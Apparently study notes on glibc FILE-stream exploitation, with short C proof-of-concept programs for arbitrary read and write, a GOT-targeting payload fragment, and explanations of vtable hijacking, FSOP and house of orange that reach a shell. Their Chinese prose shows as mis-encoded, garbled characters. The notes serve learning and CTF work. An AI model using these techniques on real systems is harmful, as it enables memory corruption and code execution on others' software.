      • ๆ นๆ“š user ๅ‘ผๅซ fread() ็š„ๅƒๆ•ธ็ตฆไบˆๅฐๆ‡‰ๅคงๅฐ็š„ response
      • fclose() ๆ™‚ๆœƒๅ…ˆๆŠŠๆญค FILE structure ๅพž _IO_list_all ๆ‹”้™ค, ๆธ…็ฉบ (flush and release) file stream ไปฅๅŠ้—œ้–‰ๆช”ๆกˆ, ๆœ€ๅพŒ free() ๆމๆญค FILE structure
    • ๅ…ถไป–
      • ๅœจ trace code ๆ™‚ๆœƒ็œ‹ๅˆฐ debug symbol ๆœ‰ไบ›็‚บ __GI__IO_file_XXX๏ผŒๅฐฑๆ˜ฏๅˆฉ็”จ vtable ไพ†ๅ‘ผๅซ็š„ function
      • _IO_buf_base ็‚บ buffer ้–‹ๅง‹๏ผŒ้€šๅธธๆฒ’็‰นๅˆฅ่จญๅฎšๅฐฑๆœƒๅœจ heap ไธŠ
      • ็œŸๆญฃๅœจๅˆ†้… _IO_XXX_ptr or base or end ็ญ‰็ญ‰ๆ˜ฏๅœจ _IO_new_file_underflow๏ผŒไธ€้–‹ๅง‹้™คไบ† _IO_buf_end๏ผŒๅ…ถไป–ๅ…จ้ƒจ้ƒฝๆœƒ็ญ‰ๆ–ผ _IO_buf_base
      • ๆœ€ๅพŒๆœƒ call read syscall๏ผŒๅพž fd ่ฎ€ buffer size (st_blksize)๏ผŒไธฆๅฏซๅˆฐ buffer ๅ…ง
        • read_end ๆŒ‡ๅ‘้€้Ž syscall read ่ฎ€ๅˆฐ็š„็ตๅฐพ
      • ๆœ€ๅพŒๅฏซๅˆฐ dest ไธญ๏ผŒ่ฉฒ่ผชๅฎŒๆˆ
        • ๅฏซๅฎŒไน‹ๅพŒ read_ptr ๆœƒ == read_end ไปฃ่กจ่ฎ€ๅฎŒไบ†
      • ่€ŒๅพŒๆœƒๅฐ‡ๆ‰€ๆœ‰ ptr ็ญ‰็ญ‰้ƒฝ reset ๆˆ buffer base (_IO_new_file_underflow)๏ผŒๅ†่ฎ€ไธ€ๆฌก๏ผŒๆœƒ่ฎ€ๆˆๅŠŸ๏ผŒไฝ†ๆ˜ฏๅชๆœ‰ EOF (0xffffffff)๏ผŒ่€Œๆญคๆ™‚ๅฐฑๆœƒ return
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  fp->_IO_read_end = fp->_IO_buf_base;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    = fp->_IO_buf_base;
      
      • fread
      • fwrite
        • _IO_buf_base ่ผธๅ…ฅ่ผธๅ‡บ buffer base
        • _IO_buf_end ่ผธๅ…ฅ่ผธๅ‡บ buffer end
          • _IO_buf ๅœจ _IO_doallocbuf ๆœƒ่ขซ init
        • _IO_write_base ่ผธๅ‡บ buffer base
        • _IO_write_ptr ่ผธๅ‡บๅทฒไฝฟ็”จๅˆฐ็š„ไฝ็ฝฎ
        • _IO_write_end ่ผธๅ‡บ buffer end
        • _IO_OVERFLOW ่ƒฝ fflush ๆ‰€ๆœ‰็š„
        • ๅœจ _IO_new_file_overflow ๅ…ง๏ผŒๆœƒๅˆๅง‹ๅŒ–ๆฒ’ๆœ‰ write ptr ็š„ fp
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹if (f->_IO_write_base == NULL)
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹{
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    _IO_doallocbuf (f);
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹}
          
        • _IO_setb ๆ˜ฏ็”จไพ† set buffer
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹void _IO_setb (FILE *f, char *b, char *eb, int a)
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹{
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF))
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹        free (f->_IO_buf_base); 
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    f->_IO_buf_base = b;
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    f->_IO_buf_end = eb;
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    if (a)
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹        f->_flags &= ~_IO_USER_BUF;
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    else
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹        f->_flags |= _IO_USER_BUF;
          โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹}
          
        • ไน‹ๅพŒ _IO_write_base == _IO_write_ptr == _IO_buf_baseใ€_IO_write_end == _IO_buf_end
          • _IO_OVERFLOW flush buffer
        • ็•ถไธ‹ไธๆœƒ้ฆฌไธŠๅฏซๅˆฐ file ไธญ๏ผŒ่€Œๆ˜ฏ็ญ‰ๅˆฐ main ็ตๆŸๅพŒ๏ผŒ_IO_cleanup -> _IO_flush_all_lockp ๆ‰ๆœƒๅฏซๅ›ž
      • write ๆ˜ฏ call _IO_new_file_overflow๏ผŒ read ๆ˜ฏ call _IO_new_file_underflow

arb write example

#include <stdlib.h> int main() { char msg[100]; char *s = malloc(100); FILE *fp = fopen("./flag2.txt", "r"); fp->_flags &= ~4; // ~_IO_NO_READS fp->_IO_buf_base = msg; // write_start fp->_IO_buf_end = msg+100; // write_end fp->_fileno = 0; fread(s, 1, 6, fp); puts(msg); return 0; }
  • _IO_fread ็š„ bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  • _IO_sgetn ็š„ return _IO_XSGETN (fp, data, n);
  • _IO_file_xsgetn ๆœƒ call __underflow()๏ผŒๅฆ‚ไธ‹
    โ€‹โ€‹โ€‹โ€‹if (fp->_IO_buf_base
    โ€‹      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
    โ€‹    {
    โ€‹      if (__underflow (fp) == EOF)
    โ€‹	break;
    
  • __underflow ็š„ return _IO_UNDERFLOW (fp);
  • _IO_new_file_underflow ็š„ if (was_writing && _IO_switch_to_get_mode (fp))
  • _IO_switch_to_get_mode
  • ๅ›žไพ† _IO_new_file_underflow๏ผŒไธ‹้ข็จ‹ๅผ็ขผๆœƒๆŠŠไปฅไธ‹ ptr ้ƒฝ่จญ็‚บ buf_base๏ผŒไน‹ๅพŒๅœจ call _IO_SYSREAD
    โ€‹โ€‹โ€‹โ€‹ fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end โ€‹โ€‹โ€‹โ€‹= fp->_IO_buf_base;
  • _IO_file_read ไฝœ็‚บ read ็š„ wrapper๏ผŒๅŽŸๆœฌ่ฆๅพž file ไธญ่ฎ€ 100 bytes (buffer ็š„้—œไฟ‚) ๅฏซๅˆฐ buffer๏ผŒไฝ†็พๅœจ่ฎŠๆˆๅพž stdin ่ฎ€ (fileno = 0)๏ผŒๅฏซๅˆฐๆˆ‘ๅ€‘ๆŒ‡ๅฎš็š„ buffer ไฝ็ฝฎ
    • https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/fileops.c#L1212
    • ้€™้‚Š want ็‚บๆˆ‘ๅ€‘ๅ‚ณๅ…ฅ็š„ 6๏ผŒhave ็‚บๅฏฆ้š›ๅพž stdin ่ผธๅ…ฅ็š„ๅคงๅฐ (ๅŽŸๆœฌๆ‡‰่ฉฒๆ˜ฏๅพž file ไธญ่ฎ€ 100 bytes ็š„)๏ผŒ copy ๅฎŒๅพŒๅฐฑ return ๅ›žๅŽปไบ†
    โ€‹โ€‹โ€‹โ€‹have = fp->_IO_read_end - fp->_IO_read_ptr; โ€‹โ€‹โ€‹โ€‹ if (want <= have){ โ€‹โ€‹โ€‹โ€‹ memcpy (s, fp->_IO_read_ptr, want); โ€‹ fp->_IO_read_ptr += want; โ€‹ want = 0; โ€‹โ€‹โ€‹โ€‹ }

arb read example

#include <stdlib.h> int main() { char *msg = "hello world!"; char *s = malloc(100); read(0, s, 100); FILE *fp = fopen("./flag.txt", "r"); fp->_flags &= ~8; // ~_IO_NO_WRITES fp->_flags |= 0x800; // _IO_CURRENTLY_PUTTING fp->_flags |= 0x1000; // _IO_IS_APPENDIN fp->_IO_write_base = msg; // read_start fp->_IO_write_ptr = msg+6; // read_end fp->_IO_read_end = fp->_IO_write_base; fp->_fileno = 1; fwrite(s, 1, 100, fp); puts(s); return 0; }

ๆœ€้‡่ฆ็š„ๆ˜ฏๆญค if condition๏ผŒๆœƒๅ…ˆๅˆคๆ–ทๆœ‰ๆฒ’ๆœ‰่ณ‡ๆ–™่ฆ flush๏ผŒไน‹ๅพŒๅ†ๅšไธ€ๆฌก new_do_write()๏ผŒ่ฎ€็œŸๆญฃ่ฆ่ฎ€็š„ๆฑ่ฅฟ
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/fileops.c#L1327

ๆญฃๅธธๆƒ…ๆณๆœƒ่ท‘ _IO_default_xsputn๏ผŒๆŠŠ่ผธๅ‡บๅฏซๅˆฐ buffer ๅ…ง

่ฃœๅ……่ชชๆ˜Ž

ไฝฟ็”จๅˆฐ stdout ็š„ function (puts, fwriteโ€ฆ) ๅฏไปฅ่ฎ€ๆฑ่ฅฟๅˆฐ buffer (ไปปๆ„ๅฏซ)๏ผŒไนŸ่ƒฝๅฐ‡ buffer ไธญ็š„ๆฑ่ฅฟๅฐๅ‡บไพ† (ไปปๆ„่ฎ€)

ไปปๆ„่ฎ€็š„ๆง‹้€ ๅฆ‚ไธŠ๏ผŒๆŽงๅˆถ write / read ไปฅๅŠ fileno

ไปปๆ„ๅฏซ็š„ example payload ๅฆ‚ไธ‹๏ผŒๅˆฉ็”จ _IO_new_file_xsputn ไธญๅˆคๆ–ท (f->_IO_write_end > f->_IO_write_ptr)๏ผŒ่‹ฅๆˆ็ซ‹ๅ‰‡ไปฃ่กจ่ผธๅ‡บ buffer (write) ้‚„่ƒฝๅญ˜ๆฑ่ฅฟ๏ผŒๆ‰€ไปฅๅ…ˆๆŠŠ่ณ‡ๆ–™ๅฏซๅˆฐ่ฃก้ข๏ผŒไฝ†ๆ˜ฏ่ฆๆŽงๅˆถๅฅฝ read_end ่ฆ็ญ‰ๆ–ผ write_base๏ผŒ้€™ๆจฃ buffer ๆ‰ไธๆœƒ้‡็–Š

io_stdout_struct=IO_FILE_plus()
flag=0
flag&=~8
flag|=0x800
flag|=0x8000
io_stdout_struct._flags=flag
io_stdout_struct._IO_write_base=pro_base+elf.got['read']
io_stdout_struct._IO_read_end=io_stdout_struct._IO_write_base
io_stdout_struct._IO_write_ptr=pro_base+elf.got['read']+8
io_stdout_struct._fileno=1

่€Œ็‚บไป€้บผ่ฆ 0x8000 (_IO_USER_LOCK)๏ผŒๅ› ็‚บๅฆ‚ๆžœๆฒ’ๆœ‰ _IO_acquire_lock_clear_flags2๏ผŒๅ‰‡ process ๆœƒ้™ทๅ…ฅ for loop
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L872
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libio.h#L448

# define _IO_funlockfile(_fp) \
  if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_funlockfile (_fp)

close trace

  • _IO_new_fclose call _IO_un_link ((struct _IO_FILE_plus *) fp);
  • _IO_un_link
  • ๅšๅฎŒๅพŒๆœƒ return ๅ›ž _IO_new_fclose๏ผŒไธฆไธ” call _IO_file_close_it ้—œ้–‰ไป–
    • ๅฏไปฅ็Ÿฅ้“๏ผŒglibc ๅ…ˆๆŠŠ FILE ๅพž list ็งป้™คๅพŒๆ‰ close
  • _IO_new_fclose ้‚„ๆœƒ call _IO_new_file_close_it
    โ€‹โ€‹โ€‹โ€‹ if ((fp->_flags & _IO_NO_WRITES) == 0 โ€‹โ€‹โ€‹โ€‹ && (fp->_flags & _IO_CURRENTLY_PUTTING) != 0) โ€‹โ€‹โ€‹โ€‹write_status = _IO_do_flush (fp);
    • ็„ถๅพŒๆœƒๅš ? _IO_SYSCLOSE (fp) : 0); ไพ† close fd
    • ไน‹ๅพŒไธ€้€ฃไธฒ _IO_setX ไพ†ๆธ…็ฉบ buffer
    • ่ฃก้ขๅˆๆœ‰ _IO_un_link
  • _IO_FINISH
  • ๆœ€ๅพŒๅฆ‚ๆžœไธๆ˜ฏ stdin stdout stderr๏ผŒๅฐฑ free ๆމ (stdin stdout stderr ้ ่จญๅฐฑๆœ‰ space๏ผŒไธๆ˜ฏ malloc ๅ‡บไพ†็š„
    • code
    โ€‹โ€‹โ€‹โ€‹  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    โ€‹โ€‹โ€‹โ€‹{
    โ€‹โ€‹โ€‹โ€‹  fp->_IO_file_flags = 0;
    โ€‹โ€‹โ€‹โ€‹  free(fp);
    โ€‹โ€‹โ€‹โ€‹}
    

  • _IO_setb (FILE *f, char *b, char *eb, int a)๏ผšset buffer
  • _IO_setg(fp, eb, g, eg)๏ผšset read_XX (g ๆ‡‰่ฉฒๆ˜ฏๆŒ‡ gets)
    • code
    โ€‹โ€‹โ€‹โ€‹#define _IO_setg(fp, eb, g, eg)  ((fp)->_IO_read_base = (eb),\
    โ€‹(fp)->_IO_read_ptr = (g), (fp)->_IO_read_end = (eg))
    
  • _IO_setp(__fp, __p, __ep)๏ผšset write_XX (p ๆ‡‰่ฉฒๆ˜ฏๆŒ‡ print)
    • code
    โ€‹โ€‹โ€‹โ€‹#define _IO_setp(__fp, __p, __ep) \
    โ€‹โ€‹โ€‹โ€‹       ((__fp)->_IO_write_base = (__fp)->_IO_write_ptr \
    โ€‹โ€‹โ€‹โ€‹    = __p, (__fp)->_IO_write_end = (__ep))
    

use stdout to libc leak

ๅ‰ๆ็‚บ sebvbuf(stdout, 0, 2, 0)

ๆƒณ่พฆๆณ•ๆŠŠ๏ผš

  • stdout->_flags == 0xfbad1800
    • 0xfbad0000 (file magic)
      • &= ~_IO_NO_WRITES == 0xfbad0000
      • |= _IO_CURRENTLY_PUTTING (0x800) == 0xfbad0800
      • |= _IO_IS_APPENDING (0x1000) == 0xfbad1800
  • _IO_write_base
    • ่จญ็‚บ &(stdout->_flags) ไน‹้กž็š„ libc ไฝ็ฝฎ (้œ€่ฆๆฏ”ๅŽŸๆœฌๅฐ๏ผŒๅ› ็‚บๅŽŸๆœฌ็š„ _IO_write_base == _IO_write_ptr == _IO_write_end

ไน‹ๅพŒๅœจ puts ๆ™‚ๅฐฑๆœƒๅพž &(stdout->_flags) ้–‹ๅง‹ๅ™ด๏ผŒๅ™ดๅˆฐ _IO_write_end

use stdin to code execution

ๅ‰ๆ็‚บ sebvbuf(stdin, 0, 2, 0)

็”จ unsorted bin attack ่“‹ๆމ _IO_buf_end๏ผŒๆญคๆ™‚ๅ†ๅฏซๅฐฑ่ƒฝๅพž _IO_buf_ptr ๅฏซๅˆฐ _IO_buf_end๏ผŒไนŸๅฐฑๆ˜ฏ unsorted bin (in main_arena)๏ผŒ้Ž็จ‹ไธญๅฐฑๆœ‰ __malloc_hook ๅฏไปฅ่“‹

vtable hijack

https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop
https://ray-cp.github.io/archivers/IO_FILE_vtable_check_and_bypass

้€้Žไฟฎๆ”น vtable ptr๏ผŒๆŒ‡ๅ‘ๅฏไปฅๆŽงๅˆถ็š„ๅœฐๆ–น๏ผŒ็„ถๅพŒๅ› ็‚บ vtable ptr ๆŒ‡ๅˆฐ็š„ๅœฐๆ–นไนŸๆ˜ฏไธ€ๅ † funcion ptr๏ผŒๆ‰€ไปฅๆˆ‘ๅ€‘ๅฏไปฅ้€้Žไฟฎๆ”นๅฐๆ‡‰ไฝฟ็”จๅˆฐ็š„ function ptr ไพ†้€ฒ่กŒๆ”ปๆ“Šใ€‚ (glibc 2.24 ๅ‰)

glibc 2.24 ๅพŒๅขžๅŠ ไบ†ไปฅไธ‹ check๏ผŒไธป่ฆๆ˜ฏ check vtable ptr ๆ˜ฏไธๆ˜ฏๅœจ glibc vtable range ไธญ

uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) //ๆฃ€ๆŸฅvtableๆŒ‡้’ˆๆ˜ฏๅฆๅœจglibc็š„vtableๆฎตไธญใ€‚ /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable;
  • __start___libc_IO_vtables ็‚บ vtable range ็š„้–‹ๅง‹
  • __stop___libc_IO_vtables ็‚บ vtable range ็š„็ตๆŸ

fsop (studying)

https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L58

glibc ไธญๆœ‰ๅ€‹ function ๅซ _IO_flush_all_lockp๏ผŒไธป่ฆ่ฒ ่ฒฌ flush ๆ‰€ๆœ‰ FILE๏ผŒๅœจ็จ‹ๅผ็ตๆŸไน‹ๅ‰ๆœƒ่ขซ call ๅˆฐ

  • ๆญฃๅธธ้›ข้–‹ (main return)
0 _IO_flush_all_lockp
1  _IO_cleanup ()
2 __run_exit_handlers
3 __GI_exit
4 __libc_start_main
5 _start ()
  • exit
#0 _IO_flush_all_lockp
#1 _IO_cleanup ()
#2 __run_exit_handlers
#3 __GI_exit
#4  main ()
  • abort

GLIBC 2.27 the abort() function no longer calls _IO_flush_all_lockp()

ๆ”ปๆ“Šๆ–นๆณ•็‚บ๏ผšๅฝ้€ ไธ€ๅ€‹ fake FILE๏ผŒไธฆๅฐ‡ _IO_list_all ๆŒ‡ๅˆฐๆˆ‘ๅ€‘็š„ fake FILE๏ผŒๆœ€ๅพŒ็นž้Žไปฅไธ‹ๆชขๆŸฅ๏ผŒไฝฟ็”จ _IO_OVERFLOW ไพ† control flow

 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
     || (_IO_vtable_offset (fp) == 0
         && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
            > fp->_wide_data->_IO_write_base))

glibc 2.23
่ˆ‰ house of orange ็‚บไพ‹ๅญ๏ผŒๅฐ‡ _IO_list_all ่“‹ๆˆ unsorted bin ๅพŒ๏ผŒsmallbin 0x60 ็š„ไฝ็ฝฎๅ‰›ๅฅฝๆœƒๆ˜ฏ _chain๏ผŒ่€Œ้€้Žๅœจๆญค chunk ๆง‹้€ ๅฅฝ data ่ˆ‡ vtable๏ผŒๅœจไฝฟ็”จ vtable _IO_OVERFLOW ๆ™‚ๆœƒๆŠŠ fp ็•ถไฝœ็ฌฌไธ€ๅ€‹ๅƒๆ•ธๅ‚ณๅ…ฅ๏ผŒๅฆ‚ๆžœๆˆ‘ๅ€‘ๆŠŠ _IO_OVERFLOW ็š„ไฝ็ฝฎๅฏซๆˆ system๏ผŒfake chunk fp ไธ€้–‹ๅง‹ๅฏซๆˆ /bin/sh\x00๏ผŒ้€™ๆจฃๅœจ call _IO_OVERFLOW ๆ™‚ๅฐฑ็ญ‰ๆ–ผ่ท‘ system(fp)๏ผŒgetshell

glibc 2.24 ๅพŒ
ๅˆฉ็”จ _IO_str_jumps ๆˆ– _IO_wstr_jumps๏ผŒ่€Œๅ…ฉ่€…ๅชๅทฎๅœจไธ€ๅ€‹ๆ˜ฏ่™•็† wchar (ๅฏฌๅญ—ๅ…ƒ)

gefโžค p _IO_str_jumps $4 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7e57ed0 <_IO_str_finish>, __overflow = 0x7ffff7e57b30 <__GI__IO_str_overflow>, __underflow = 0x7ffff7e57ad0 <__GI__IO_str_underflow>, __uflow = 0x7ffff7e560d0 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7e57eb0 <__GI__IO_str_pbackfail>, __xsputn = 0x7ffff7e56130 <__GI__IO_default_xsputn>, __xsgetn = 0x7ffff7e56340 <__GI__IO_default_xsgetn>, __seekoff = 0x7ffff7e58030 <__GI__IO_str_seekoff>, __seekpos = 0x7ffff7e56780 <_IO_default_seekpos>, __setbuf = 0x7ffff7e56660 <_IO_default_setbuf>, __sync = 0x7ffff7e569f0 <_IO_default_sync>, __doallocate = 0x7ffff7e567f0 <__GI__IO_default_doallocate>, __read = 0x7ffff7e57970 <_IO_default_read>, __write = 0x7ffff7e57980 <_IO_default_write>, __seek = 0x7ffff7e57950 <_IO_default_seek>, __close = 0x7ffff7e569f0 <_IO_default_sync>, __stat = 0x7ffff7e57960 <_IO_default_stat>, __showmanyc = 0x7ffff7e57990 <_IO_default_showmanyc>, __imbue = 0x7ffff7e579a0 <_IO_default_imbue> }

่ฆๆ‰“็š„ๅœฐๆ–นๅœจ _IO_str_finish

void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //ๆ‰ง่กŒๅ‡ฝๆ•ฐ fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }

็›ดๆŽฅ call ((_IO_strfile *) fp)->_s._free_buffer๏ผŒไธฆๆŠŠ fp->_IO_buf_base ็•ถไฝœๅƒๆ•ธ

ๅฆ‚ๆžœๆˆ‘ๅ€‘่ƒฝ่ฎ“ vtable == _IO_str_jumps-8๏ผŒ้€™ๆจฃๅฐๆ‡‰ๅˆฐ็š„ __overflow offset ๅฐฑๆœƒๆ˜ฏ _IO_str_finish

gefโžค p _IO_file_jumps $7 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7e540d0 <_IO_new_file_finish>, __overflow = 0x7ffff7e54f00 <_IO_new_file_overflow>, __underflow = 0x7ffff7e54ba0 <_IO_new_file_underflow>, __uflow = 0x7ffff7e560d0 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7e57800 <__GI__IO_default_pbackfail>, __xsputn = 0x7ffff7e53750 <_IO_new_file_xsputn>, __xsgetn = 0x7ffff7e533c0 <__GI__IO_file_xsgetn>, __seekoff = 0x7ffff7e529e0 <_IO_new_file_seekoff>, __seekpos = 0x7ffff7e56780 <_IO_default_seekpos>, __setbuf = 0x7ffff7e526b0 <_IO_new_file_setbuf>, __sync = 0x7ffff7e52540 <_IO_new_file_sync>, __doallocate = 0x7ffff7e45df0 <__GI__IO_file_doallocate>, __read = 0x7ffff7e53720 <__GI__IO_file_read>, __write = 0x7ffff7e52fe0 <_IO_new_file_write>, __seek = 0x7ffff7e52780 <__GI__IO_file_seek>, __close = 0x7ffff7e526a0 <__GI__IO_file_close>, __stat = 0x7ffff7e52fc0 <__GI__IO_file_stat>, __showmanyc = 0x7ffff7e57990 <_IO_default_showmanyc>, __imbue = 0x7ffff7e579a0 <_IO_default_imbue> }

exploit

  • buffer overflow ่“‹ๆމ fp
    • ๆœƒ crash ๅœจ _IO_acquire_lock(fp), ๅ› ็‚บ FILE ๅ…งๆœ‰ *_lock, ้ ้˜ฒ multihread ๆœ‰ RC ็š„ๆƒ…ๆณ
      • ๆƒณ่พฆๆณ•ๅฐ‡ๅ…ถ่จญ็‚บๆŒ‡ๅ‘ 0 ็š„ address (offset ็‚บ 0x88)
    • ๆŽง _IO_FILE_plus.vtable, ่ฎ“ไป–ๆŒ‡ๅ‘ system
      • ๆœ€ๅพŒๅ†ๆŽงๅˆถ call function ๅ‰็š„ๅƒๆ•ธ, ๆŒ‡ๅˆฐ /bin/sh

FSOP

  • file-stream oriented programing
    • ๆŽงๅˆถ _chain and _IO_list_all
    • ๅฅฝ็”จ็š„ function _IO_flush_all_lockp
      • main return, abort ็ญ‰็ญ‰ๆ™‚ๆœƒ flsuh ๆ‰€ๆœ‰ file stream
      • ๅˆคๆ–ทไธ€ไบ›ๆขไปถ, ๆˆ็ซ‹ๅพŒๆœƒๅ‘ผๅซ _IO_OVERFLOW
    • ๆง‹้€  linked list
  • e.g. house of orange
    • ็”จ unsorted bin attack ๅฐ‡ unsorted bin ็š„ไฝ็ฝฎๅฏซๅˆฐ _IO_list_all, ๅŒๆ™‚ไนŸๆง‹้€ ๅ‡บ 0x60 ๅคงๅฐ็š„ chunk ้€ฒๅ…ฅ small bin
    • unsorted bin attack
      • malloc() ๆ™‚, ไธ็ฎก unsorted bin ๆ˜ฏๅฆๆœ‰ๅ‰›ๅฅฝๅคงๅฐ็š„ chunk, ไป–้ƒฝๆœƒ unsorted bin ็š„ chunk ๅš unlink
        • ๅ‰›ๅฅฝๅคงๅฐ: ็›ดๆŽฅๅพž unsorted bin ็งป้™ค็ตฆไฝฟ็”จ่€…
        • ไธๆ˜ฏๅ‰›ๅฅฝ: ๅพž unsorted bin ็งป้™ค, ๆ”พๅˆฐๅฐๆ‡‰็š„ bin
      • ไฝ†้€™้‚Šๆฒ’ๅฐ double linked list ๅšๆชขๆŸฅ
        • ๅ–ๅ‡บ unsorted bin ็š„ๆœ€ๅพŒไธ€ๅกŠ chunk ๅš victim, ็„ถๅพŒๅฐ‡้€™ๅกŠ bk ๆŒ‡ๅ‘็š„ chunk ็š„ fd ๆ”นๆˆ unsorted bin ็š„ไฝ็ฝฎ
        • ๅฐฑๆ˜ฏ linked list ็š„ delete node
      • ๆ‰€ไปฅๆœ€ๅพŒไธ€ๅกŠ chunk ็š„ bk ๆ”นๅฏซ็‚บ"ๅ…ถไป–ไฝ็ฝฎ"ๅพŒ, ๅœจ unlink ๅฎŒ unsorted bin ๆœƒๆŒ‡ๅ‘ "ๅ…ถไป–ไฝ็ฝฎ" ๆŒ‡ๅˆฐ็š„ fd
        • ็‚บๅพˆๅคง็š„ๆ•ธๅญ— (?
        • ้€šๅธธๆœƒๅฏซๅˆฐ global_max_fast
          • ๅˆคๆ–ทๆ˜ฏๅฆ็‚บ fastbin chunk
          • ๅฐๆ–ผๆญคๅ€ผๅฐฑไธๆ˜ฏ fastbin
        • ๅœจ้…ๅˆ fastbin corruption attack
      • ๅฆ‚ๆžœ size ไธๅฐ, ๆœƒๆŠŠไป–ๆ”พๅˆฐ small bin
  • ่ฆ็ขบไฟ _IO_FILE_plus._flags < 0
  • ๅฆ‚ไฝ•ๅœจๆฒ’ๆœ‰ free() ็š„ๆƒ…ๆณไธ‹ๆŠŠ chunk ๆ”พๅ…ฅ small bin
    • ๆŠŠๅฏๆŽงๅทฒ็ถ“ free ็š„ chunk ็š„ size ๆ”นๆˆ 0x60
    • ๅœจ malloc() ๆ™‚, ๆœƒๆœๅˆฐๆญค chunk, ็™ผ็พ size ไธๅฐๅพŒๆœƒๆ”พๅˆฐ small bin (0x60)
      • ๅฐ‡ chunk (fd, bk) ็š„ address ๆ”นๆˆไปปๆ„ๆˆ‘ๅ€‘ๆƒณ็•ถไฝœ chunk ็š„ไฝ็ฝฎ
    • ไธ‹ๆฌกๅ†ๆ‹ฟ chunk ๆ™‚ๅ› ็‚บ chunk ไธๅˆๆณ• (ๅ‡่จญ), ๆœƒ่งธ็™ผ abort() -> _IO_flush_all_lockp()
      • ๆœƒ call vtable ็š„ๆŸๅ€‹ function, ไธฆไธ”ๅฐ‡ FILE ptr ็•ถไฝœๅƒๆ•ธๅ‚ณๅ…ฅ
    • ๅฆ‚ๆžœๆˆ‘ๅ€‘ๅฐ‡ bk ไฝ็ฝฎๆ”นๆˆ _IO_list_all - 0x10
      • _IO_list_all ๅ› ็‚บ unlink unsorted bin ็š„ๆฉŸๅˆถๆœƒๆŒ‡ๅ‘ unsorted_bin[0] (in main_arena)
